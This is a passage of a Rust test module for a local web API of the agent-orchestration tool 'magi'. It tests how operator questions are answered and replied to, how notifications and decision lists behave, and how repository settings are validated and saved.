13538        let fx = Fixture::start().await;
13539        let id = ask(&fx, "No seat", &[]);
13540        let store = fx.questions();
13541        let before = std::fs::read(store.path_of(&id)).unwrap();
13542        let res = fx
13543            .post(
13544                &format!("/api/questions/{id}/say"),
13545                Some(r#"{"body":"hello"}"#),
13546            )
13547            .await;
13548        assert_eq!(res.status, 422, "{}", res.body);
13549        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13550        let res = fx
13551            .post(
13552                &format!("/api/questions/{id}/answer"),
13553                Some(r#"{"text":"hello"}"#),
13554            )
13555            .await;
13556        assert_eq!(res.status, 200, "{}", res.body);
13557        assert_eq!(
13558            store.get(&id).unwrap().resolution().as_deref(),
13559            Some("hello")
13560        );
13561    }
13562
13563    #[tokio::test]
13564    async fn saying_something_appends_a_turn_without_answering() {
13565        let fx = Fixture::start().await;
13566        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13567        fx.questions().beat(&id, ask::WaiterKind::Asker);
13568        let path = format!("/api/questions/{id}/say");
13569
13570        let res = fx
13571            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13572            .await;
13573        assert_eq!(res.status, 200, "{}", res.body);
13574        let body = res.json();
13575        assert_eq!(body["status"], "open", "talking back is not a decision");
13576        assert_eq!(body["answer"], Value::Null);
13577        assert_eq!(body["thread"][0]["who"], "operator");
13578        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13579        assert_eq!(body["waiting_on_agent"], true);
13580        // Still open, still counted, still exactly one question.
13581        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13582    }
13583
13584    #[tokio::test]
13585    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13586        let fx = Fixture::start().await;
13587        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13588
13589        let list = fx.get("/api/questions").await.json();
13590        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13591
13592        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13593        assert_eq!(res.status, 409, "{}", res.body);
13594        let q = fx.questions().get(&id).unwrap();
13595        assert!(q.status.open());
13596        assert!(q.consult.is_none());
13597    }
13598
13599    #[tokio::test]
13600    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13601        let fx = Fixture::start().await;
13602        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13603        let cfg = Config {
13604            agents: vec![crate::config::AgentSpec {
13605                id: "mock".to_owned(),
13606                kind: crate::config::AgentKind::Command,
13607                model: None,
13608                command: vec!["true".to_owned()],
13609                extra_args: Vec::new(),
13610                env: Default::default(),
13611                prompt_delivery: None,
13612                max_turn_secs: None,
13613            }],
13614            ..Config::default()
13615        };
13616        let talk = crate::talk::begin(
13617            &fx.talks(),
13618            &cfg,
13619            fx.home.path().to_path_buf(),
13620            Some("mock"),
13621        )
13622        .unwrap();
13623        let mut task = Task::new(
13624            "t".to_owned(),
13625            "Do it".to_owned(),
13626            PathBuf::from("/repo/magi"),
13627            Source::Agent {
13628                run: talk.id.clone(),
13629                node: crate::queue::CHAT_NODE.to_owned(),
13630            },
13631        );
13632        task.start("20260902-000000-beef".to_owned());
13633        fx.queue().put(&mut task).unwrap();
13634
13635        let list = fx.get("/api/questions").await.json();
13636        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13637        assert_eq!(
13638            list[0]["choices"],
13639            serde_json::json!(["SQLite", "Redis"]),
13640            "the hand-over is never a choice"
13641        );
13642        fx.questions()
13643            .update(&id, |q| {
13644                q.node = crate::land::APPROVAL_NODE.into();
13645                q.choices = vec!["merge".into(), "hold".into()];
13646                Ok(())
13647            })
13648            .unwrap();
13649        let list = fx.get("/api/questions").await.json();
13650        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13651        assert_eq!(list[0]["can_consult_chat"], true);
13652        fx.questions()
13653            .update(&id, |q| {
13654                q.node = crate::bump::NOTICE_NODE.into();
13655                Ok(())
13656            })
13657            .unwrap();
13658        let list = fx.get("/api/questions").await.json();
13659        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13660        assert_eq!(list[0]["can_consult_chat"], false);
13661    }
13662
13663    #[tokio::test]
13664    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13665        let fx = Fixture::start().await;
13666        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13667        fx.questions()
13668            .update(&id, |q| {
13669                q.node = crate::land::APPROVAL_NODE.into();
13670                q.choices = vec!["merge".into(), "hold".into()];
13671                Ok(())
13672            })
13673            .unwrap();
13674        let cfg = Config {
13675            agents: vec![crate::config::AgentSpec {
13676                id: "mock".to_owned(),
13677                kind: crate::config::AgentKind::Command,
13678                model: None,
13679                command: vec!["true".to_owned()],
13680                extra_args: Vec::new(),
13681                env: Default::default(),
13682                prompt_delivery: None,
13683                max_turn_secs: None,
13684            }],
13685            ..Config::default()
13686        };
13687        // Not a git working tree, so its `magi.toml` is read from disk.
13688        let repo = fx.home.path().join("chat-repo");
13689        std::fs::create_dir_all(&repo).unwrap();
13690        let toml = repo.join("magi.toml");
13691        std::fs::write(&toml, "this is = = not toml").unwrap();
13692        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13693        let mut task = Task::new(
13694            "t".to_owned(),
13695            "Do it".to_owned(),
13696            PathBuf::from("/repo/magi"),
13697            Source::Agent {
13698                run: talk.id.clone(),
13699                node: crate::queue::CHAT_NODE.to_owned(),
13700            },
13701        );
13702        task.start("20260902-000000-beef".to_owned());
13703        fx.queue().put(&mut task).unwrap();
13704
13705        let path = format!("/api/questions/{id}/consult");
13706        let res = fx.post(&path, None).await;
13707        assert!(res.status >= 400, "{}", res.body);
13708        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13709        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13710
13711        std::fs::write(&toml, "").unwrap();
13712        let res = fx.post(&path, None).await;
13713        assert_eq!(res.status, 202, "{}", res.body);
13714        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13715        let q = fx.questions().get(&id).unwrap();
13716        assert!(q.status.open());
13717        assert!(q.answer.is_none());
13718        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13719        assert_eq!(res.json()["can_consult_chat"], true);
13720        let list = fx.get("/api/questions").await.json();
13721        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13722        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13723
13724        let res = fx
13725            .post(
13726                &format!("/api/questions/{id}/answer"),
13727                Some(r#"{"choice":"hold"}"#),
13728            )
13729            .await;
13730        assert_eq!(res.status, 200, "{}", res.body);
13731        assert_eq!(res.json()["answer"]["choice"], "hold");
13732        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13733        assert_eq!(res.json()["can_consult_chat"], false);
13734        assert_eq!(fx.post(&path, None).await.status, 409);
13735
13736        let mut talk = fx.talks().get(&talk.id).unwrap();
13737        // This test closes the history view, not an unconsumed consultation.
13738        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13739        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13740        let list = fx.get("/api/questions").await.json();
13741        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13742        assert_eq!(list[0]["origin_chat_closed"], true);
13743        assert_eq!(list[0]["can_consult_chat"], false);
13744
13745        fx.talks().remove(&talk.id).unwrap();
13746        let list = fx.get("/api/questions").await.json();
13747        assert_eq!(list[0]["origin_chat"], Value::Null);
13748        assert_eq!(list[0]["origin_chat_closed"], false);
13749        assert_eq!(list[0]["can_consult_chat"], false);
13750    }
13751
13752    #[tokio::test]
13753    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13754        let fx = Fixture::start().await;
13755        let store = fx.questions();
13756        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13757        store.beat(&id, ask::WaiterKind::Asker);
13758        assert_eq!(
13759            fx.get("/api/health").await.json()["questions_needs_owner"],
13760            1
13761        );
13762
13763        // The owner asks back instead of deciding: the ask bar, the nav badge
13764        // and the title must stop naming this question, because there is
13765        // nothing to decide until the agent answers - `status` alone cannot
13766        // say that, which is the whole reason `questions_needs_owner` exists
13767        // alongside `questions_open`.
13768        let res = fx
13769            .post(
13770                &format!("/api/questions/{id}/say"),
13771                Some(r#"{"body":"why not Postgres?"}"#),
13772            )
13773            .await;
13774        assert_eq!(res.status, 200, "{}", res.body);
13775        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13776        assert_eq!(
13777            fx.get("/api/health").await.json()["questions_needs_owner"],
13778            0,
13779            "waiting on the agent is not waiting on the owner"
13780        );
13781
13782        // `magi ask --thread` replying is what brings the owner count back -
13783        // the same event that would resume the CLI call blocked in `magi
13784        // ask`.
13785        let mut q = store.get(&id).expect("get");
13786        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13787            .expect("reply");
13788        store.put(&mut q).expect("put");
13789        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13790        assert_eq!(
13791            fx.get("/api/health").await.json()["questions_needs_owner"],
13792            1,
13793            "the agent's reply is what should light the banner back up"
13794        );
13795    }
13796
13797    #[tokio::test]
13798    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13799        let fx = Fixture::start().await;
13800        let store = fx.questions();
13801
13802        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13803        let res = fx
13804            .post(
13805                &format!("/api/questions/{empty_id}/say"),
13806                Some(r#"{"body":"   "}"#),
13807            )
13808            .await;
13809        assert_eq!(res.status, 400, "{}", res.body);
13810
13811        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13812        let mut answered = store.get(&answered_id).expect("get");
13813        answered
13814            .answer(Answer::Choice("SQLite".to_owned()))
13815            .expect("answer");
13816        store.put(&mut answered).expect("put");
13817        let res = fx
13818            .post(
13819                &format!("/api/questions/{answered_id}/say"),
13820                Some(r#"{"body":"still there?"}"#),
13821            )
13822            .await;
13823        assert_eq!(res.status, 409, "{}", res.body);
13824
13825        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13826        let mut abandoned = store.get(&abandoned_id).expect("get");
13827        abandoned.abandon("timed out");
13828        store.put(&mut abandoned).expect("put");
13829        let res = fx
13830            .post(
13831                &format!("/api/questions/{abandoned_id}/say"),
13832                Some(r#"{"body":"still there?"}"#),
13833            )
13834            .await;
13835        assert_eq!(res.status, 409, "{}", res.body);
13836    }
13837
13838    #[tokio::test]
13839    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13840        let fx = Fixture::start().await;
13841        let questions = fx.questions();
13842        let mut q = Question::new(
13843            String::new(),
13844            crate::bump::NOTICE_NODE.into(),
13845            "release-watch".into(),
13846            "Release PR approval".into(),
13847            "Saved head".into(),
13848            vec!["merge".into(), "hold".into()],
13849        );
13850        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13851        q.merge_target = Some(crate::merge_decision::Target {
13852            pr: "https://example.test/mebae/pull/100".into(),
13853            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13854            language: "en".into(),
13855        });
13856        q.answer(Answer::Choice("merge".into())).unwrap();
13857        q.answer_delivered = true;
13858        questions.put(&mut q).unwrap();
13859        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13860        std::fs::create_dir_all(&dir).unwrap();
13861        std::fs::write(
13862            dir.join("state.json"),
13863            serde_json::to_vec(&serde_json::json!({
13864                "schema": 1, "sources": [q.id], "pending": [q.id]
13865            }))
13866            .unwrap(),
13867        )
13868        .unwrap();
13869        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13870        for migrated in [false, true] {
13871            if migrated {
13872                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13873            }
13874            for endpoint in ["/api/questions", "/api/questions/core"] {
13875                let response = fx.get(endpoint).await;
13876                assert_eq!(response.status, 200);
13877                let rows = response.json();
13878                let row = rows
13879                    .as_array()
13880                    .unwrap()
13881                    .iter()
13882                    .find(|r| r["id"] == q.id)
13883                    .unwrap();
13884                assert_eq!(row["status"], "answered");
13885                assert_eq!(row["answer"]["choice"], "merge");
13886                assert_eq!(row["can_answer"], false);
13887                assert_eq!(row["history_only"], true);
13888            }
13889            let answer = fx
13890                .post(
13891                    &format!("/api/questions/{}/answer", q.id),
13892                    Some(r#"{"choice":"merge"}"#),
13893                )
13894                .await;
13895            assert_eq!(answer.status, 409, "{}", answer.body);
13896            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13897        }
13898    }
13899
13900    #[tokio::test]
13901    async fn an_answer_the_question_does_not_offer_is_refused() {
13902        let fx = Fixture::start().await;
13903        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13904        let path = format!("/api/questions/{id}/answer");
13905
13906        for body in [
13907            r#"{"choice":"Postgres"}"#,
13908            r#"{"text":"whatever you think"}"#,
13909            r#"{"choice":"Redis","text":"both"}"#,
13910            r#"{}"#,
13911        ] {
13912            let res = fx.post(&path, Some(body)).await;
13913            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13914            assert!(res.json()["error"].is_string(), "{}", res.body);
13915        }
13916        // Nothing above may have answered it.
13917        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13918    }
13919
13920    #[tokio::test]
13921    async fn a_free_text_question_takes_text_and_not_a_choice() {
13922        let fx = Fixture::start().await;
13923        let id = ask(&fx, "What should the flag be called?", &[]);
13924        fx.questions().beat(&id, ask::WaiterKind::Asker);
13925        let path = format!("/api/questions/{id}/answer");
13926
13927        assert_eq!(
13928            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13929            400
13930        );
13931        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13932        assert_eq!(res.status, 200, "{}", res.body);
13933        assert_eq!(res.json()["answer"]["text"], "--json");
13934    }
13935
13936    #[tokio::test]
13937    async fn an_unknown_question_is_a_json_404() {
13938        let fx = Fixture::start().await;
13939        let res = fx
13940            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13941            .await;
13942        assert_eq!(res.status, 404, "{}", res.body);
13943        assert!(res.json()["error"].is_string());
13944    }
13945
13946    #[tokio::test]
13947    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13948        let fx = Fixture::start().await;
13949        let questions = Questions::at(fx.home.path().join("questions"));
13950        let store = Notices::at(fx.home.path().join("notifications"));
13951        let mut q = ask::Question::new(
13952            "t1".into(),
13953            "conduct".into(),
13954            "conductor".into(),
13955            "Continue?".into(),
13956            String::new(),
13957            Vec::new(),
13958        );
13959        questions.put(&mut q).unwrap();
13960        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13961        n.covered_by = Some(q.id.clone());
13962        let n = store.raise(n).unwrap();
13963        let listed = fx.get("/api/notifications").await.json();
13964        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13965        questions
13966            .update(&q.id, |q| {
13967                q.abandon("run gone");
13968                Ok(())
13969            })
13970            .unwrap();
13971        let listed = fx.get("/api/notifications").await.json();
13972        assert!(listed["items"][0]["answerable_question"].is_null());
13973        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13974        assert!(
13975            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13976                .unwrap()
13977                .contains("answerable_question")
13978        );
13979    }
13980
13981    #[tokio::test]
13982    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13983        let fx = Fixture::start().await;
13984        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13985        let task = crate::queue::Task::new(
13986            "work".into(),
13987            "work".into(),
13988            fx.home.path().into(),
13989            crate::queue::Source::Human,
13990        );
13991        let inquiry = outbox
13992            .file(&task, None, "test".into(), "入力待ち", "詳細")
13993            .unwrap();
13994        let root = fx.home.path().join("notifications/task-inquiries");
13995        std::fs::write(root.join("broken.json"), "{").unwrap();
13996        let mut unsupported = inquiry.clone();
13997        unsupported.id = "unsupported".into();
13998        unsupported.schema = 99;
13999        std::fs::write(
14000            root.join("unsupported.json"),
14001            serde_json::to_vec(&unsupported).unwrap(),
14002        )
14003        .unwrap();
14004        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14005        for _ in 0..2 {
14006            let response = fx.get("/api/decisions").await;
14007            assert_eq!(response.status, 200, "{}", response.body);
14008            let listed = response.json();
14009            assert_eq!(listed["unreadable"], 2);
14010            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14011            assert_eq!(listed["items"][0]["id"], inquiry.id);
14012            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14013        }
14014        assert_eq!(
14015            before,
14016            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14017        );
14018        assert!(outbox.list().is_err());
14019        std::fs::remove_file(root.join("broken.json")).unwrap();
14020        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14021        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14022    }
14023
14024    #[tokio::test]
14025    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14026        let fx = Fixture::start().await;
14027        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14028        std::fs::create_dir_all(&root).unwrap();
14029        let journal = serde_json::json!({
14030            "schema": 1, "pending": ["saved-inquiry"],
14031            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14032        });
14033        let bytes = serde_json::to_vec(&journal).unwrap();
14034        std::fs::write(root.join("state.json"), &bytes).unwrap();
14035        for _ in 0..2 {
14036            let response = fx.get("/api/decisions").await;
14037            assert_eq!(response.status, 200);
14038            let listed = response.json();
14039            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14040            assert!(listed["items"].as_array().unwrap().is_empty());
14041            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14042        }
14043        // An unreadable journal must not make the endpoint hide the list.
14044        std::fs::write(root.join("state.json"), b"{").unwrap();
14045        let response = fx.get("/api/decisions").await;
14046        assert_eq!(response.status, 200);
14047        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14048    }
14049
14050    #[tokio::test]
14051    async fn notifications_list_read_dismiss_and_health_agree() {
14052        let fx = Fixture::start().await;
14053        let store = Notices::at(fx.home.path().join("notifications"));
14054        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14055        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14056
14057        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14058        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14059
14060        store
14061            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14062            .unwrap();
14063        let health = fx.get("/api/health").await.json();
14064        assert_eq!(health["notifications_unread"], 2);
14065        assert_ne!(
14066            health["notifications_rev"], rev0,
14067            "the badge must move live"
14068        );
14069
14070        let listed = fx.get("/api/notifications").await.json();
14071        assert_eq!(listed["unread"], 2);
14072        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14073        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14074
14075        let read = fx
14076            .post(&format!("/api/notifications/{}/read", a.id), None)
14077            .await;
14078        assert_eq!(read.status, 200, "{}", read.body);
14079        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14080
14081        let gone = fx
14082            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14083            .await;
14084        assert_eq!(gone.status, 200, "{}", gone.body);
14085        let listed = fx.get("/api/notifications").await.json();
14086        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14087        assert_eq!(listed["unread"], 0);
14088
14089        store.raise(Notice::info("x", "again")).unwrap();
14090        let all = fx.post("/api/notifications/read-all", None).await;
14091        assert_eq!(all.status, 200, "{}", all.body);
14092        assert_eq!(all.json()["marked"], 1);
14093        assert_eq!(
14094            fx.get("/api/health").await.json()["notifications_unread"],
14095            0
14096        );
14097
14098        let missing = fx.post("/api/notifications/nope/read", None).await;
14099        assert_eq!(missing.status, 404, "{}", missing.body);
14100        assert!(missing.json()["error"].is_string());
14101    }
14102
14103    /// New work reaches the queue through `magi task add`, a standing talk's
14104    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14105    /// so the compose form and that route are gone. The tests that covered
14106    /// that route's validation went with it, and nothing was left asserting
14107    /// it stays gone — so a re-added handler would silently let the phone
14108    /// file briefs no one validated.
14109    #[tokio::test]
14110    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14111        let f = Fixture::start().await;
14112
14113        let res = f
14114            .post(
14115                "/api/queue",
14116                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14117            )
14118            .await;
14119
14120        assert_eq!(
14121            res.status, 405,
14122            "POST /api/queue must not be a route: {}",
14123            res.body
14124        );
14125        assert!(
14126            f.queue().list().is_empty(),
14127            "a task filed by a route that does not exist must not reach the disk"
14128        );
14129        // The path itself is still served — the Queue view reads it — and the
14130        // per-task controls are untouched by the entry being removed.
14131        assert_eq!(f.get("/api/queue").await.status, 200);
14132    }
14133
14134    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14135    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14136        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14137            .expect("checkout dir");
14138    }
14139
14140    /// Two command agents, so a config needs no real CLI.
14141    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14142
14143    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14144        let tmp = TempDir::new().expect("tempdir");
14145        let repo = tmp.path().join("repo");
14146        std::fs::create_dir_all(&repo).expect("repo dir");
14147        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14148        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14149        if let Some(text) = machine_toml {
14150            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14151            std::fs::write(&machine, text).expect("machine toml");
14152        }
14153        (tmp, repo, machine)
14154    }
14155
14156    async fn settings_checkout(path: &FsPath, text: &str) {
14157        std::fs::create_dir_all(path).unwrap();
14158        std::fs::write(path.join("magi.toml"), text).unwrap();
14159        for args in [
14160            vec!["init", "-b", "main"],
14161            vec!["add", "magi.toml"],
14162            vec![
14163                "-c",
14164                "user.name=Test",
14165                "-c",
14166                "user.email=test@example.invalid",
14167                "commit",
14168                "-m",
14169                "fixture",
14170            ],
14171            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14172            vec![
14173                "symbolic-ref",
14174                "refs/remotes/origin/HEAD",
14175                "refs/remotes/origin/main",
14176            ],
14177        ] {
14178            crate::git::git(path, &args).await.unwrap();
14179        }
14180    }
14181
14182    #[tokio::test]
14183    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14184        let (tmp, repo, machine) =
14185            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14186        let root = tmp.path().join("roots");
14187        let selected = root.join("host/owner/selected");
14188        settings_checkout(
14189            &selected,
14190            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14191        )
14192        .await;
14193        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14194        let before = std::fs::read(&machine).unwrap();
14195        let ui = Arc::new(
14196            Ui::new(
14197                Queue::at(tmp.path().join("queue")),
14198                Questions::at(tmp.path().join("questions")),
14199                Talks::at(tmp.path().join("talks")),
14200                tmp.path().join("runs"),
14201                tmp.path().to_path_buf(),
14202                repo.clone(),
14203            )
14204            .with_machine_config(Some(machine.clone())),
14205        );
14206        let query = || {
14207            Query(SettingsQuery {
14208                repo: Some(selected.clone()),
14209            })
14210        };
14211        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14212        assert!(v.error.is_none(), "{:?}", v.error);
14213        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14214        assert_eq!(conductor.source, "repo");
14215        assert_eq!(
14216            conductor.machine_value,
14217            Some(toml::Value::String("a".into()))
14218        );
14219        assert!(!conductor.editable);
14220        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14221        assert_eq!(
14222            judges.count.as_ref().unwrap().machine_value,
14223            Some(toml::Value::Integer(1))
14224        );
14225        assert!(
14226            !v.roles
14227                .iter()
14228                .find(|r| r.key == "reviewers")
14229                .unwrap()
14230                .editable
14231        );
14232        let unknown = || {
14233            Query(SettingsQuery {
14234                repo: Some(tmp.path().to_path_buf()),
14235            })
14236        };
14237        assert_eq!(
14238            settings_get(State(ui.clone()), unknown())
14239                .await
14240                .unwrap_err()
14241                .status,
14242            StatusCode::UNPROCESSABLE_ENTITY
14243        );
14244        let body = || {
14245            Ok(Json(RolesBody {
14246                revision: v.revision.clone(),
14247                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14248                counts: Default::default(),
14249            }))
14250        };
14251        assert_eq!(
14252            settings_put_roles(State(ui.clone()), unknown(), body())
14253                .await
14254                .unwrap_err()
14255                .status,
14256            StatusCode::UNPROCESSABLE_ENTITY
14257        );
14258        assert_eq!(std::fs::read(&machine).unwrap(), before);
14259        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14260            .await
14261            .unwrap();
14262        assert_eq!(
14263            saved.repo,
14264            selected.canonicalize().unwrap().display().to_string()
14265        );
14266        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14267        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14268        // A cache miss refreshes the stable candidate list exactly for validation.
14269        let fresh = root.join("host/owner/fresh");
14270        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14271        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14272            .await
14273            .unwrap();
14274        assert_eq!(fresh_view.repositories.len(), 3);
14275    }
14276
14277    #[tokio::test]
14278    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14279        let (tmp, repo, machine) = settings_dirs(
14280            "[roles]\nreviewers = [\"a\"]\n",
14281            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14282        );
14283        let root = tmp.path().join("roots");
14284        let selected = root.join("host/owner/selected");
14285        settings_checkout(
14286            &selected,
14287            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14288        )
14289        .await;
14290        let broken = root.join("host/owner/broken");
14291        settings_checkout(&broken, "[roles\nbroken").await;
14292        let machine_text = format!(
14293            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14294            toml::Value::String(root.display().to_string())
14295        );
14296        std::fs::write(&machine, &machine_text).unwrap();
14297        let originals: Vec<_> = [&repo, &selected, &broken]
14298            .iter()
14299            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14300            .collect();
14301        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14302        let default = f.get("/api/settings").await.json();
14303        assert_eq!(
14304            default["repo"],
14305            repo.canonicalize().unwrap().display().to_string()
14306        );
14307        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14308        let query = format!("?repo={}", selected.display());
14309        let res = f.get(&format!("/api/settings{query}")).await;
14310        assert_eq!(res.status, 200, "{}", res.body);
14311        let v = res.json();
14312        assert!(v["error"].is_null(), "{v}");
14313        assert_eq!(v["repositories"], default["repositories"]);
14314        let role = |key: &str| {
14315            v["roles"]
14316                .as_array()
14317                .unwrap()
14318                .iter()
14319                .find(|r| r["key"] == key)
14320                .unwrap()
14321        };
14322        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14323        assert_eq!(role("advisors")["source"], "repo");
14324        assert_eq!(role("advisors")["editable"], false);
14325        assert!(role("advisors")["machine_value"].is_null());
14326        assert_eq!(role("judges")["count"]["value"], 2);
14327        assert_eq!(role("judges")["count"]["machine_value"], 1);
14328        assert_eq!(role("judges")["count"]["source"], "repo");
14329        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14330        assert!(
14331            source.contains("origin/main") && !source.contains("magi/config/"),
14332            "{source}"
14333        );
14334        assert_eq!(
14335            role("reviewers")["editable"],
14336            false,
14337            "default context outside roots must protect its declarations"
14338        );
14339        let body =
14340            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14341        let unknown = format!("?repo={}", tmp.path().display());
14342        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14343        assert_eq!(
14344            f.put(&format!("/api/settings/roles{unknown}"), &body)
14345                .await
14346                .status,
14347            422
14348        );
14349        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14350        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14351            .to_string();
14352        assert_eq!(
14353            f.put(&format!("/api/settings/roles{query}"), &refuse)
14354                .await
14355                .status,
14356            422
14357        );
14358        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14359        assert_eq!(saved.status, 200, "{}", saved.body);
14360        assert_eq!(saved.json()["repo"], v["repo"]);
14361        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14362        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14363        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14364            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14365        }
14366        let error = f
14367            .get(&format!("/api/settings?repo={}", broken.display()))
14368            .await;
14369        assert_eq!(error.status, 200);
